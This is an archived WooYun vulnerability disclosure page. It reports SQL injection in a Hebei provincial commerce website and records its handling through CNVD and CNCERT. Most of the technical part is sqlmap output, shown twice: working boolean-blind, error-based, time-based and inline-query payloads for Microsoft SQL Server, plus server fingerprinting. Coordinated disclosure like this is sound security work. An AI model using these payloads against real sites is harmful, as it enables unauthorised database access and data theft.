当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165016

漏洞标题:中国河北商务网sql注入漏洞一枚

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-12-29 01:34

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-29: 细节已通知厂商并且等待厂商处理中
2016-01-05: 厂商已经确认,细节仅向厂商公开
2016-01-15: 细节向核心白帽子及相关领域专家公开
2016-01-25: 细节向普通白帽子公开
2016-02-04: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

RT

详细说明:

注入点:http://**.**.**.**/jctk/shiji/List.aspx?funid=293&deptid=408

GET parameter 'funid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
---
Parameter: funid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: funid=293 AND 8298=8298&deptid=408
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: funid=293 AND 4172 IN ((CHAR(113)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (4172=4172) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(107)+CHAR(113)))&deptid=408
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: funid=293 AND 7823=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)&deptid=408
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: funid=(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (9322=9322) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(107)+CHAR(113))&deptid=408
---
[19:55:42] [INFO] testing Microsoft SQL Server
[19:55:43] [INFO] confirming Microsoft SQL Server
[19:55:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


1.png

2.png

3.png


漏洞证明:

GET parameter 'funid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
---
Parameter: funid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: funid=293 AND 8298=8298&deptid=408
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: funid=293 AND 4172 IN ((CHAR(113)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (4172=4172) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(107)+CHAR(113)))&deptid=408
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: funid=293 AND 7823=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)&deptid=408
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: funid=(SELECT CHAR(113)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (9322=9322) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(107)+CHAR(113))&deptid=408
---
[19:55:42] [INFO] testing Microsoft SQL Server
[19:55:43] [INFO] confirming Microsoft SQL Server
[19:55:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


1.png

2.png

3.png


修复方案:

你们更专业

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-05 16:11

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给河北分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价